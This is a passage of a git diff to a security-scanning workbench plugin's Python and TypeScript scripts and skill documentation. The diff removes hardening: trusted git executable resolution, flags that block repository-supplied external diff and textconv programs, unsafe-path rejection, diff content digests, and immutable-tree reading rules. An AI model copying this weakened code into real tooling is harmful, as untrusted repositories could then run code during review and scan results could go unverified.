= None) -> None: - message = f"Unsafe changed repository path cannot be safely reviewed: {path.relative_to(repo)}" - if cause is None: - raise SystemExit(message) - raise SystemExit(message) from cause - try: if path.is_symlink(): - reject_unsafe_path() + return "", False expected = path.stat(follow_symlinks=False) if not stat.S_ISREG(expected.st_mode): - reject_unsafe_path() + return "", False resolved = path.resolve(strict=True) resolved.relative_to(repo) resolved_stat = resolved.stat() expected_identity = (expected.st_dev, expected.st_ino) if (resolved_stat.st_dev, resolved_stat.st_ino) != expected_identity: - reject_unsafe_path() + return "", False flags = os.O_RDONLY flags |= getattr(os, "O_BINARY", 0) @@ -421,15 +370,15 @@ def reject_unsafe_path(cause: BaseException | None = None) -> None: not stat.S_ISREG(opened.st_mode) or (opened.st_dev, opened.st_ino) != expected_identity ): - reject_unsafe_path() + return "", False sample = source.read(4096) if is_binary_sample(sample): return "", True remaining = source.read(max(0, DIRECT_SCOPE_PREVIEW_READ_BYTES - len(sample))) - except (OSError, ValueError) as error: - reject_unsafe_path(error) + except (OSError, ValueError): + return "", False data = sample + remaining if is_binary_sample(data): @@ -441,192 +390,6 @@ def reject_unsafe_path(cause: BaseException | None = None) -> None: return fit_preview_lines(preview_lines, preview_bytes), False -def immutable_diff_preview( - repo: Path, path: Path, head: str, preview_bytes: int -) -> tuple[str, bool]: - relative = path.relative_to(repo).as_posix() - executable = trusted_git_executable(repo) - if executable is None: - raise SystemExit("Git is unavailable on the trusted executable path.") - command = [ - executable, - "--no-replace-objects", - "-c", - "core.fsmonitor=false", - "-C", - str(repo), - ] - environment = os.environ.copy() - for name in GIT_REPOSITORY_ENVIRONMENT: - environment.pop(name, None) - environment["GIT_LITERAL_PATHSPECS"] = "1" - listed = subprocess.run( - [*command, "ls-tree", "-z", head, "--", relative], - check=False, - capture_output=True, - env=environment, - ) - entries = [entry for entry in listed.stdout.split(b"\0") if entry] - if listed.returncode != 0 or len(entries) != 1: - raise SystemExit(f"Unsafe changed repository path cannot be safely reviewed: {relative}") - try: - metadata, tree_path = entries[0].split(b"\t", 1) - mode, kind, object_id = metadata.split(b" ", 2) - except ValueError as error: - raise SystemExit( - f"Unsafe changed repository path cannot be safely reviewed: {relative}" - ) from error - if tree_path != os.fsencode(relative): - raise SystemExit(f"Unsafe changed repository path cannot be safely reviewed: {relative}") - if mode == b"160000" and kind == b"commit": - return f"Git submodule pinned to commit {object_id.decode('ascii')}", False - if mode not in {b"100644", b"100755", b"120000"} or kind != b"blob": - raise SystemExit(f"Unsafe changed repository path cannot be safely reviewed: {relative}") - - return git_blob_preview(command, environment, path, object_id, preview_bytes) - - -def git_blob_preview( - command: list[str], - environment: dict[str, str], - path: Path, - object_id: bytes, - preview_bytes: int, -) -> tuple[str, bool]: - relative = path.name - process = subprocess.Popen( - [*command, "cat-file", "blob", object_id.decode("ascii")], - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - env=environment, - ) - try: - assert process.stdout is not None - data = process.stdout.read(DIRECT_SCOPE_PREVIEW_READ_BYTES) - if len(data) < DIRECT_SCOPE_PREVIEW_READ_BYTES: - if process.wait() != 0: - raise SystemExit( - f"Unsafe changed repository path cannot be safely reviewed: {relative}" - ) - finally: - if process.poll() is None: - process.kill() - process.wait() - - if is_binary_sample(data): - return "", True - text = data.decode("utf-8", errors="ignore") - outline = structural_outline(path, text) - preview_lines = select_preview_lines(outline or text.splitlines()) - return fit_preview_lines(preview_lines, preview_bytes), False - - -def staged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> tuple[str, bool]: - relative = path.relative_to(repo).as_posix() - executable = trusted_git_executable(repo) - if executable is None: - raise SystemExit("Git is unavailable on the trusted executable path.") - command = [ - executable, - "--no-replace-objects", - "-c", - "core.fsmonitor=false", - "-C", - str(repo), - ] - environment = os.environ.copy() - for name in GIT_REPOSITORY_ENVIRONMENT: - environment.pop(name, None) - environment["GIT_LITERAL_PATHSPECS"] = "1" - listed = subprocess.run( - [*command, "ls-files", "--stage", "-z", "--", relative], - check=False, - capture_output=True, - env=environment, - ) - entries = [entry for entry in listed.stdout.split(b"\0") if entry] - if listed.returncode != 0 or not entries: - raise SystemExit(f"Unsafe changed repository path cannot be safely reviewed: {relative}") - previews: list[str] = [] - seen_stages: set[bytes] = set() - for entry in entries: - try: - metadata, staged_path = entry.split(b"\t", 1) - mode, object_id, stage = metadata.split(b" ", 2) - except ValueError as error: - raise SystemExit( - f"Unsafe changed repository path cannot be safely reviewed: {relative}" - ) from error - if ( - mode not in {b"100644", b"100755", b"120000", b"160000"} - or stage not in {b"0", b"1", b"2", b"3"} - or stage in seen_stages - or staged_path != os.fsencode(relative) - or stage == b"0" and mode in {b"120000", b"160000"} - ): - raise SystemExit( - f"Unsafe changed repository path cannot be safely reviewed: {relative}" - ) - seen_stages.add(stage) - if mode == b"160000": - try: - preview = f"Git submodule pinned to commit {object_id.decode('ascii')}" - except UnicodeDecodeError as error: - raise SystemExit( - f"Unsafe changed repository path cannot be safely reviewed: {relative}" - ) from error - binary = False - else: - preview, binary = git_blob_preview(command, environment, path, object_id, preview_bytes) - if mode == b"120000": - preview = f"Symlink target: {preview}" - if binary: - continue - if stage == b"0": - previews.append(preview) - else: - label = {b"1": "Merge base", b"2": "Ours", b"3": "Theirs"}[stage] - previews.extend([f"{label} (stage {stage.decode('ascii')}):", *preview.splitlines()]) - if b"0" in seen_stages and len(seen_stages) != 1: - raise SystemExit(f"Unsafe changed repository path cannot be safely reviewed: {relative}") - if not previews: - return "", True - return fit_preview_lines(previews, preview_bytes), False - - -def staged_content_differs_from_working_tree(repo: Path, path: Path) -> bool: - executable = trusted_git_executable(repo) - if executable is None: - raise SystemExit("Git is unavailable on the trusted executable path.") - environment = os.environ.copy() - for name in GIT_REPOSITORY_ENVIRONMENT: - environment.pop(name, None) - environment["GIT_LITERAL_PATHSPECS"] = "1" - result = subprocess.run( - [ - executable, - "--no-replace-objects", - "-c", - "core.fsmonitor=false", - "-C", - str(repo), - "diff", - "--no-ext-diff", - "--no-textconv", - "--quiet", - "--", - path.relative_to(repo).as_posix(), - ], - capture_output=True, - env=environment, - ) - if result.returncode not in {0, 1}: - raise SystemExit( - f"Unsafe changed repository path cannot be safely reviewed: {path.relative_to(repo)}" - ) - return result.returncode == 1 - - def resolve_scope(repo: Path, scope: str, *, expand_user: bool = True) -> Path: scope_path = Path(scope).expanduser() if expand_user else Path(scope) if not scope_path.is_absolute(): @@ -841,21 +604,12 @@ def bind_repo_scopes(args: argparse.Namespace) -> None: def run_git_changed_paths(repo: Path, diff_args: list[str]) -> list[tuple[Path, str]]: - git = trusted_git_executable(repo) - if git is None: - raise SystemExit("Git is unavailable on the trusted executable path.") result = subprocess.run( [ - git, - "--no-replace-objects", - "-c", - "core.fsmonitor=false", + "git", "-C", str(repo), "diff", - "--no-ext-diff", - "--no-textconv", - "--ignore-submodules=none", "--name-status", "-z", "--diff-filter=ACMRDTU", @@ -863,8 +617,9 @@ def run_git_changed_paths(repo: Path, diff_args: list[str]) -> list[tuple[Path, ], check=True, capture_output=True, + text=True, ) - fields = [os.fsdecode(field) for field in result.stdout.split(b"\0")] + fields = result.stdout.split("\0") if fields and not fields[-1]: fields.pop() @@ -874,8 +629,6 @@ def run_git_changed_paths(repo: Path, diff_args: list[str]) -> list[tuple[Path, status = fields[index][0] index += 1 if status in {"C", "R"}: - if status == "R": - changed.append((repo / fields[index], "D")) index += 1 path = repo / fields[index] index += 1 @@ -883,70 +636,24 @@ def run_git_changed_paths(repo: Path, diff_args: list[str]) -> list[tuple[Path, return changed -def git_untracked_paths(repo: Path) -> list[tuple[Path, str]]: - git = trusted_git_executable(repo) - if git is None: - raise SystemExit("Git is unavailable on the trusted executable path.") - environment = os.environ.copy() - for name in GIT_REPOSITORY_ENVIRONMENT: - environment.pop(name, None) - result = subprocess.run( - [ - git, - "--no-replace-objects", - "-c", - "core.fsmonitor=false", - "-C", - str(repo), - "ls-files", - "--others", - "--exclude-standard", - "-z", - ], - check=True, - capture_output=True, - env=environment, - ) - paths: list[tuple[Path, str]] = [] - for value in result.stdout.split(b"\0"): - if not value: - continue - path = repo / os.fsdecode(value) - if not path.is_dir() or path.is_symlink(): - paths.append((path, "A")) - continue - nested_paths = git_directory_snapshot_paths(path) - if nested_paths is not None: - paths.extend( - (nested_path, "A") - for nested_path in nested_paths - if not nested_path.is_dir() or nested_path.is_symlink() - ) - continue - for directory, children, files in os.walk(path, followlinks=False): - children[:] = sorted(child for child in children if child != ".git") - paths.extend((Path(directory) / filename, "A") for filename in sorted(files)) - return paths - - -def git_changed_paths(repo: Path, base: str, head: str, mode: str) -> list[tuple[Path, str, bool]]: +def git_changed_paths(repo: Path, base: str, head: str, mode: str) -> list[tuple[Path, str]]: if mode == "revisions": - return [ - (path, status, False) - for path, status in run_git_changed_paths(repo, [f"{base}..{head}"]) - ] + return run_git_changed_paths(repo, [f"{base}..{head}"]) if mode == "local-patch": unstaged = run_git_changed_paths(repo, [base]) staged = run_git_changed_paths(repo, ["--cached", base]) - combined = {path: (status, True) for path, status in staged} - for path, status in unstaged: - existing = combined.get(path) - if status == "D" and existing is not None and existing[0] == "T": - continue - combined[path] = (status, existing is not None) - for path, status in git_untracked_paths(repo): - combined.setdefault(path, (status, False)) - return [(path, *details) for path, details in sorted(combined.items())] + combined = dict(staged) + combined.update(unstaged) + untracked = subprocess.run( + ["git", "-C", str(repo), "ls-files", "--others", "--exclude-standard", "-z"], + check=True, + capture_output=True, + text=True, + ) + for path in untracked.stdout.split("\0"): + if path: + combined.setdefault(repo / path, "A") + return sorted(combined.items()) raise SystemExit(f"Unknown diff mode: {mode}") @@ -956,136 +663,15 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: raise SystemExit(f"Repo path not found: {repo}") rows: list[JsonRow] = [] - changed_paths = git_changed_paths(repo, args.base, args.head, args.mode) - replaced_gitlinks = ( - { - path - for path, status, _ in changed_paths - if status == "D" - and path.is_dir() - and is_immutable_gitlink(repo, args.base, path.relative_to(repo)) - } - if args.mode == "local-patch" - else set() - ) - for path, status, is_staged in changed_paths: + for path, status in git_changed_paths(repo, args.base, args.head, args.mode): rel = path.relative_to(repo) - gitlink_revision = None - index_is_gitlink = False - index_has_conflicted_gitlink = False - if args.mode == "revisions": - revisions = ( - (args.base, args.head) - if status == "T" - else (args.base if status == "D" else args.head,) - ) - for revision in revisions: - if is_immutable_gitlink(repo, revision, rel): - gitlink_revision = revision - break - else: - gitlink_revision = index_gitlink_revision(repo, rel) - index_is_gitlink = gitlink_revision is not None - if gitlink_revision is None and (status == "U" or path.is_dir()): - gitlink_revision = index_gitlink_revision(repo, rel, allow_conflicted=True) - index_has_conflicted_gitlink = gitlink_revision is not None - if ( - gitlink_revision is None - and status in {"D", "T"} - and is_immutable_gitlink(repo, args.base, rel) - ): - gitlink_revision = args.base - replacement_source = any( - path != root - and path.is_relative_to(root) - and diff_path_is_included(path.relative_to(root)) - for root in replaced_gitlinks - ) - if not diff_path_is_included(rel) and gitlink_revision is None and not replacement_source: + if not diff_path_is_included(rel): continue - if status == "D": - if args.mode == "local-patch" and gitlink_revision is None: - preview, is_binary = immutable_diff_preview( - repo, path, args.base, args.preview_bytes - ) - if path.exists() or path.is_symlink(): - working_preview, working_binary = confined_diff_preview( - repo, path, args.preview_bytes - ) - if not working_binary: - preview = ( - working_preview - if is_binary - else fit_preview_lines( - [ - "Deleted Git base:", - *preview.splitlines(), - "Recreated working tree:", - *working_preview.splitlines(), - ], - args.preview_bytes, - ) - ) - is_binary = False - if is_binary: - continue - else: - preview = "" + if status in {"D", "U"}: + preview = "" else: - if args.mode == "revisions": - preview, is_binary = immutable_diff_preview( - repo, path, args.head, args.preview_bytes - ) - elif index_is_gitlink: - preview, is_binary = ( - f"Git submodule pinned to commit {gitlink_revision}", - False, - ) - elif is_staged and (status == "U" or index_has_conflicted_gitlink) and ( - path.is_symlink() or path.is_dir() or index_has_conflicted_gitlink - ): - preview, is_binary = staged_diff_preview(repo, path, args.preview_bytes) - elif is_staged and not path.exists() and not path.is_symlink(): - preview, is_binary = staged_diff_preview(repo, path, args.preview_bytes) - elif is_staged: - staged_preview, staged_binary = staged_diff_preview(repo, path, args.preview_bytes) - working_preview, working_binary = confined_diff_preview( - repo, path, args.preview_bytes - ) - if staged_binary and working_binary: - continue - is_binary = False - if staged_binary: - preview = fit_preview_lines( - [ - "Working tree (staged Git index is binary):", - *working_preview.splitlines(), - ], - args.preview_bytes, - ) - elif working_binary: - preview = fit_preview_lines( - [ - "Staged Git index (working tree is binary):", - *staged_preview.splitlines(), - ], - args.preview_bytes, - ) - elif staged_content_differs_from_working_tree(repo, path): - preview = fit_preview_lines( - [ - "Staged Git index:", - *staged_preview.splitlines(), - "Working tree:", - *working_preview.splitlines(), - ], - args.preview_bytes, - ) - else: - preview = staged_preview - else: - preview, is_binary = confined_diff_preview(repo, path, args.preview_bytes) + preview, is_binary = confined_diff_preview(repo, path, args.preview_bytes) if is_binary: continue rows.append({"path": rel.as_posix(), "area": args.area, "preview": preview}) @@ -1096,86 +682,6 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: print(f"Wrote {len(rows)} rows to {output}") -def is_immutable_gitlink(repo: Path, head: str, relative: Path) -> bool: - executable = trusted_git_executable(repo) - if executable is None: - raise SystemExit("Git is unavailable on the trusted executable path.") - environment = os.environ.copy() - for name in GIT_REPOSITORY_ENVIRONMENT: - environment.pop(name, None) - environment["GIT_LITERAL_PATHSPECS"] = "1" - listed = subprocess.run( - [ - executable, - "--no-replace-objects", - "-c", - "core.fsmonitor=false", - "-C", - str(repo), - "ls-tree", - "-z", - head, - "--", - relative.as_posix(), - ], - check=False, - capture_output=True, - env=environment, - ) - if listed.returncode != 0: - raise SystemExit("Could not inspect the selected Git diff.") - entries = [entry for entry in listed.stdout.split(b"\0") if entry] - return len(entries) == 1 and entries[0].startswith(b"160000 commit ") - - -def index_gitlink_revision( - repo: Path, relative: Path, *, allow_conflicted: bool = False -) -> str | None: - executable = trusted_git_executable(repo) - if executable is None: - raise SystemExit("Git is unavailable on the trusted executable path.") - environment = os.environ.copy() - for name in GIT_REPOSITORY_ENVIRONMENT: - environment.pop(name, None) - environment["GIT_LITERAL_PATHSPECS"] = "1" - listed = subprocess.run( - [ - executable, - "--no-replace-objects", - "-c", - "core.fsmonitor=false", - "-C", - str(repo), - "ls-files", - "--stage", - "-z", - "--", - relative.as_posix(), - ], - check=False, - capture_output=True, - env=environment, - ) - if listed.returncode != 0: - raise SystemExit("Could not inspect the selected Git diff.") - entries = [entry for entry in listed.stdout.split(b"\0") if entry] - if len(entries) != 1 and not allow_conflicted: - return None - for entry in entries: - try: - metadata, path = entry.split(b"\t", 1) - mode, object_id, stage = metadata.split(b" ", 2) - except ValueError: - return None - if ( - mode == b"160000" - and path == os.fsencode(relative.as_posix()) - and (stage == b"0" or allow_conflicted) - ): - return object_id.decode("ascii") - return None - - def make_rank_shards(args: argparse.Namespace) -> None: if args.max_rows < 1: raise SystemExit("--max-rows must be at least 1") diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py b/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py index 1aa9fca3..4ddd91f3 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py @@ -1,8 +1,6 @@ """Shared constants for the Codex Security workbench.""" import argparse -import os -from pathlib import Path MODES = ("diff", "standard", "deep") DIFF_TARGET_KINDS = ("working_tree", "commit", "range") @@ -75,58 +73,6 @@ EMPTY_GIT_TREE = "4b825dc642cb6eb9a060e54bf8d69288fbee4904" -def trusted_git_executable(protected_root: Path | None = None) -> str | None: - root = protected_root.resolve() if protected_root is not None else None - if root is not None: - for ancestor in root.parents: - marker = ancestor / ".git" - try: - if marker.is_dir() or marker.is_file(): - root = ancestor - except OSError: - continue - executable = os.environ.get("CODEX_SECURITY_GIT") - if not executable: - names = ("git.exe", "git.com") if os.name == "nt" else ("git",) - for entry in os.environ.get("PATH", "").split(os.pathsep): - if not entry: - continue - for name in names: - executable_path = (Path(entry) / name).absolute() - try: - candidate = executable_path.resolve(strict=True) - except OSError: - continue - if root is not None and ( - candidate == root - or root in candidate.parents - or executable_path == root - or root in executable_path.parents - ): - continue - if candidate.is_file() and os.access(candidate, os.X_OK): - return str(executable_path) - return None - candidate = Path(executable) - if not candidate.is_absolute(): - raise SystemExit("CODEX_SECURITY_GIT must name an absolute trusted executable.") - try: - canonical = candidate.resolve(strict=True) - except OSError as exc: - raise SystemExit("CODEX_SECURITY_GIT does not name an available executable.") from exc - if not canonical.is_file() or not os.access(canonical, os.X_OK): - raise SystemExit("CODEX_SECURITY_GIT does not name an available executable.") - if root is not None: - if ( - canonical == root - or root in canonical.parents - or candidate == root - or root in candidate.parents - ): - raise SystemExit("CODEX_SECURITY_GIT must stay outside the protected repository.") - return str(candidate) - - def main() -> None: argparse.ArgumentParser(description=__doc__).parse_args() diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py index 76622c2a..ac669cc8 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py @@ -47,7 +47,6 @@ PRODUCER_NAME, ContractError, _prepare_scan_finalization, - _validate_existing_seal, _write_prepared_scan_finalization, csv_cell, finalize_scan, @@ -107,7 +106,6 @@ directory_content_digest, directory_snapshot_regular_file_count, git_command, - git_diff_content_digest, git_output, git_revision, git_submodule_paths, @@ -375,28 +373,12 @@ def require_diff_target( ) if supplied_base != parent: raise SystemExit("Commit base revision must match the selected commit's parent.") - current_digest = git_diff_content_digest(target, parent, head) - if content_digest and content_digest != current_digest: - raise SystemExit("The selected commit contents changed. Select the commit again.") - return { - "kind": kind, - "baseRevision": parent, - "headRevision": head, - "contentDigest": current_digest, - } + return {"kind": kind, "baseRevision": parent, "headRevision": head} base = resolve_git_commit(target, base_revision or "", "Base revision") head = resolve_git_commit(target, head_revision or "", "Head revision") if base == head: raise SystemExit("Base and head revisions must identify different commits.") - current_digest = git_diff_content_digest(target, base, head) - if content_digest and content_digest != current_digest: - raise SystemExit("The selected range contents changed. Select the range again.") - return { - "kind": kind, - "baseRevision": base, - "headRevision": head, - "contentDigest": current_digest, - } + return {"kind": kind, "baseRevision": base, "headRevision": head} def inspect_setup_values( @@ -558,7 +540,7 @@ def workbench_completion_binding(scan: sqlite3.Row, completed_at: str) -> dict[s if scan["mode"] == "diff": target["baseRevision"] = scan["diff_base_revision"] target["headRevision"] = scan["diff_head_revision"] - if scan["diff_content_digest"]: + if scan["diff_target_kind"] == "working_tree" and scan["diff_content_digest"]: target["snapshotDigest"] = scan["diff_content_digest"] else: if scan["target_revision"] != "unversioned": @@ -626,9 +608,13 @@ def verify_manifest_binding(scan: sqlite3.Row, manifest: dict[str, Any]) -> None raise SystemExit( "scan-manifest.json target headRevision must match the workbench diff target." ) - if target.get("snapshotDigest") != scan["diff_content_digest"]: + if ( + scan["diff_target_kind"] == "working_tree" + and target.get("snapshotDigest") != scan["diff_content_digest"] + ): raise SystemExit( - "scan-manifest.json target snapshotDigest must match the selected diff contents." + "scan-manifest.json target snapshotDigest must match the selected " + "working-tree contents." ) scope = manifest_scan.get("scope") if not isinstance(scope, dict): @@ -1401,24 +1387,10 @@ def complete_scan_locked( thread_id: str | None = None, ) -> dict[str, Any]: scan = require_scan(connection, scan_id) - scan = backfill_legacy_immutable_diff_digest(connection, scan) if scan["status"] == "complete": scan_dir = require_canonical_scan_directory(Path(scan["scan_dir"])) require_recorded_manifest_digest(scan, scan_dir) - manifest = read_json_object(scan_dir / ARTIFACTS["manifest"]) - verify_manifest_binding(scan, manifest) - if ( - scan["mode"] == "diff" - and scan["diff_target_kind"] in {"commit", "range"} - and scan["diff_content_digest"] is None - ): - try: - _validate_existing_seal(scan_dir, manifest["scan"]) - except ContractError as exc: - raise SystemExit(str(exc)) from exc - manifest_digest = published_manifest_digest(scan_dir, manifest) - pin_legacy_manifest_digest(connection, scan["id"], manifest_digest) - return scan_context(connection, scan["id"]) + verify_manifest_binding(scan, read_json_object(scan_dir / ARTIFACTS["manifest"])) try: manifest, _, _ = finalize_scan( scan_dir, @@ -1585,60 +1557,6 @@ def complete_scan_locked( return context -def backfill_legacy_immutable_diff_digest( - connection: sqlite3.Connection, scan: sqlite3.Row -) -> sqlite3.Row: - if ( - scan["mode"] != "diff" - or scan["diff_target_kind"] not in {"commit", "range"} - or scan["diff_content_digest"] is not None - ): - return scan - scan_dir = require_canonical_scan_directory(Path(scan["scan_dir"])) - manifest_path = scan_dir / ARTIFACTS["manifest"] - manifest = read_json_object(manifest_path) if manifest_path.is_file() else None - manifest_scan = manifest.get("scan") if isinstance(manifest, dict) else None - sealed = isinstance(manifest_scan, dict) and manifest_scan.get("sealedAt") is not None - if scan["status"] == "complete" or sealed: - require_recorded_manifest_digest(scan, scan_dir) - target = manifest_scan.get("target", {}) if isinstance(manifest_scan, dict) else {} - digest = target.get("snapshotDigest") if isinstance(target, dict) else None - if digest is None: - return scan - if not isinstance(digest, str) or re.fullmatch( - r"codex-security-snapshot/v1:sha256:[a-f0-9]{64}", digest - ) is None: - raise SystemExit("Sealed immutable diff scan is missing its snapshot digest.") - completed_at = manifest_scan.get("completedAt") - if not isinstance(completed_at, str): - raise SystemExit("Sealed immutable diff scan is missing its completion timestamp.") - try: - _prepare_scan_finalization( - scan_dir, - expected_coverage_mode=expected_coverage_mode(scan), - completion_binding=workbench_completion_binding(scan, completed_at), - ) - except ContractError as exc: - raise SystemExit(str(exc)) from exc - else: - target = require_scan_target_identity(scan) - digest = git_diff_content_digest( - target, - scan["diff_base_revision"], - scan["diff_head_revision"], - ) - with connection: - connection.execute( - "UPDATE scans SET diff_content_digest = ? WHERE id = ? AND diff_content_digest IS NULL", - (digest, scan["id"]), - ) - connection.execute( - "UPDATE workspaces SET diff_content_digest = ? WHERE id = ? AND diff_content_digest IS NULL", - (digest, scan["workspace_id"]), - ) - return require_scan(connection, scan["id"]) - - def register_cli_scan(connection: sqlite3.Connection, args: argparse.Namespace) -> dict[str, Any]: repository = require_target(args.repository) require_scannable_target(repository) @@ -1666,8 +1584,6 @@ def register_cli_scan(connection: sqlite3.Connection, args: argparse.Namespace) if head != current_head: raise SystemExit("Working-tree HEAD changed before the scan started.") diff_target["contentDigest"] = worktree_content_digest(repository) - else: - diff_target["contentDigest"] = git_diff_content_digest(repository, base, head) mode = "diff" if diff_target is not None else recipe["mode"] target_identity = scan_target_identity(repository, diff_target) scope_file_count = ( diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py index 1f79968d..c39c9635 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py @@ -16,7 +16,7 @@ # Some plugin hosts launch Python with safe-path isolation enabled. sys.path.insert(0, str(Path(__file__).resolve().parent)) from filesystem_identity import stored_filesystem_identity_matches -from workbench_constants import GIT_REPOSITORY_ENVIRONMENT, trusted_git_executable +from workbench_constants import GIT_REPOSITORY_ENVIRONMENT def git_output( @@ -54,21 +54,10 @@ def git_command( environment.pop(name, None) environment["GIT_LITERAL_PATHSPECS"] = "1" # Repository-local config is untrusted; fsmonitor may name an executable hook. - executable = trusted_git_executable(target) - command = [ - executable or "git", - "--no-replace-objects", - "-c", - "core.fsmonitor=false", - "-C", - str(target), - ] + command = ["git", "-c", "core.fsmonitor=false", "-C", str(target)] if git_dir is not None and work_tree is not None: command.extend(["--git-dir", str(git_dir), "--work-tree", str(work_tree)]) full_command = [*command, *args] - if executable is None: - empty_output = "" if text else b"" - return subprocess.CompletedProcess(full_command, 127, empty_output, empty_output) try: return subprocess.run( full_command, @@ -91,40 +80,10 @@ def update_digest_field(digest: Any, label: bytes, value: bytes) -> None: digest.update(value) -def git_diff_content_digest(target: Path, base_revision: str, head_revision: str) -> str: - changed_objects = git_bytes( - target, - "diff-tree", - "-r", - "--raw", - "-z", - "--no-commit-id", - "--no-abbrev", - "--no-renames", - base_revision, - head_revision, - "--", - ".", - ) - if changed_objects is None: - raise SystemExit("Could not snapshot the selected Git diff.") - digest = hashlib.sha256() - update_digest_field(digest, b"format", b"codex-security-snapshot/v1") - update_digest_field(digest, b"git-tree-diff", changed_objects) - return f"codex-security-snapshot/v1:sha256:{digest.hexdigest()}" - - -def worktree_content_digest( - target: Path, *, legacy: bool = False, include_conflicted_index: bool = True -) -> str: +def worktree_content_digest(target: Path) -> str: require_clean_submodule_worktrees(target) repository, pathspec = git_worktree_context(target) - return worktree_content_digest_for_context( - repository, - pathspec, - legacy=legacy, - include_conflicted_index=include_conflicted_index, - ) + return worktree_content_digest_for_context(repository, pathspec) def worktree_content_digest_for_context( @@ -133,8 +92,6 @@ def worktree_content_digest_for_context( *, git_dir: Path | None = None, work_tree: Path | None = None, - legacy: bool = False, - include_conflicted_index: bool = True, ) -> str: tracked = git_bytes( repository, @@ -150,61 +107,6 @@ def worktree_content_digest_for_context( git_dir=git_dir, work_tree=work_tree, ) - if legacy: - staged = b"" - unstaged = b"" - conflicted_index = b"" - else: - staged = git_bytes( - repository, - "diff", - "--cached", - "--binary", - "--full-index", - "--no-ext-diff", - "--no-textconv", - "--ignore-submodules=none", - "HEAD", - "--", - pathspec, - git_dir=git_dir, - work_tree=work_tree, - ) - unstaged = git_bytes( - repository, - "diff", - "--binary", - "--full-index", - "--no-ext-diff", - "--no-textconv", - "--ignore-submodules=none", - "--", - pathspec, - git_dir=git_dir, - work_tree=work_tree, - ) - index_entries = git_bytes( - repository, - "ls-files", - "--stage", - "-z", - "--", - pathspec, - git_dir=git_dir, - work_tree=work_tree, - ) - if index_entries is None: - raise SystemExit("Could not snapshot the selected Git index.") - conflicts: list[bytes] = [] - for entry in (row for row in index_entries.split(b"\0") if row): - try: - metadata, _path = entry.split(b"\t", 1) - _mode, _object_id, stage = metadata.split(b" ", 2) - except ValueError as error: - raise SystemExit("Could not snapshot the selected Git index.") from error - if stage != b"0": - conflicts.append(entry) - conflicted_index = b"\0".join(sorted(conflicts)) if include_conflicted_index else b"" untracked = git_bytes( repository, "ls-files", @@ -216,16 +118,11 @@ def worktree_content_digest_for_context( git_dir=git_dir, work_tree=work_tree, ) - if tracked is None or staged is None or unstaged is None or untracked is None: + if tracked is None or untracked is None: raise SystemExit("Could not snapshot the selected working-tree changes.") digest = hashlib.sha256() update_digest_field(digest, b"format", b"codex-security-snapshot/v1") update_digest_field(digest, b"tracked-diff", tracked) - if staged or unstaged: - update_digest_field(digest, b"index-diff", staged) - update_digest_field(digest, b"working-tree-diff", unstaged) - if conflicted_index: - update_digest_field(digest, b"conflicted-index", conflicted_index) for raw_path in sorted(path for path in untracked.split(b"\0") if path): relative_path = os.fsdecode(raw_path) path = (work_tree or repository) / relative_path @@ -316,10 +213,7 @@ def git_submodule_paths(target: Path) -> tuple[Path, ...]: def require_clean_submodule_worktrees(target: Path) -> None: - expected_revisions: dict[Path, set[str]] = {} - for submodule, revision in git_submodule_entries(target): - expected_revisions.setdefault(submodule, set()).add(revision) - for submodule, revisions in expected_revisions.items(): + for submodule, expected_revision in git_submodule_entries(target): relative_path = str(submodule.relative_to(target)) if not submodule.exists(): continue @@ -336,7 +230,7 @@ def require_clean_submodule_worktrees(target: Path) -> None: raise SystemExit( f"Could not inspect initialized Git submodule contents: {relative_path}" ) - if git_output(submodule, "rev-parse", "HEAD") not in revisions: + if git_output(submodule, "rev-parse", "HEAD") != expected_revision: raise SystemExit( "Initialized Git submodules must be checked out at the revision recorded " f"by the parent repository: {relative_path}" diff --git a/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md b/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md index 6ef61f6d..2dff88fd 100644 --- a/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md +++ b/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md @@ -137,8 +137,6 @@ Use `../security-scan/references/scan-artifacts-and-ledger.md` for the shared sc Diff scans should: - generate `rank_input.jsonl` deterministically from changed source-like files with ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode revisions --head --out /rank_input.jsonl` for PR, commit, and branch diffs, or ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode local-patch --out /rank_input.jsonl` for a local patch -- for committed revision diffs, read every changed or supporting file exclusively from the selected immutable Git tree with `git --no-replace-objects -C show :`; for deleted files use `:`. For a changed Git submodule, inspect its recorded gitlink commit and `.gitmodules` configuration instead of treating the gitlink as a regular file. Never substitute the checked-out working-tree file, which may be from another revision or contain local edits -- for local patches, read every staged Git index blob in full with `git --no-replace-objects -C show :`, including each available unresolved-conflict stage with `show :1:`, `show :2:`, and `show :3:`. For a staged deletion, read `:` instead. Separately read the working-tree version when it is a reviewable regular file; inspect every representation even when sampled outlines match, one version is binary, or the staged file no longer exists in the working tree - copy every diff row into `deep_review_input.jsonl` with ` /scripts/generate_rank_input.py copy-deep-review-input --rank-input /rank_input.jsonl --out /deep_review_input.jsonl` - deep-review every file in `deep_review_input.jsonl` - add directly supporting files only when repository evidence shows they are needed to understand the changed security behavior diff --git a/sdk/typescript/src/api.ts b/sdk/typescript/src/api.ts index e877e67e..8cabdbdf 100644 --- a/sdk/typescript/src/api.ts +++ b/sdk/typescript/src/api.ts @@ -104,10 +104,6 @@ import { validatedGitEnvironment, validateMode, } from "./targets.js"; -import { - resolveTrustedExecutable, - trustedExecutablePath, -} from "./trusted-executable.js"; interface CodexThreadLike { readonly id: string | null; @@ -563,20 +559,6 @@ export class 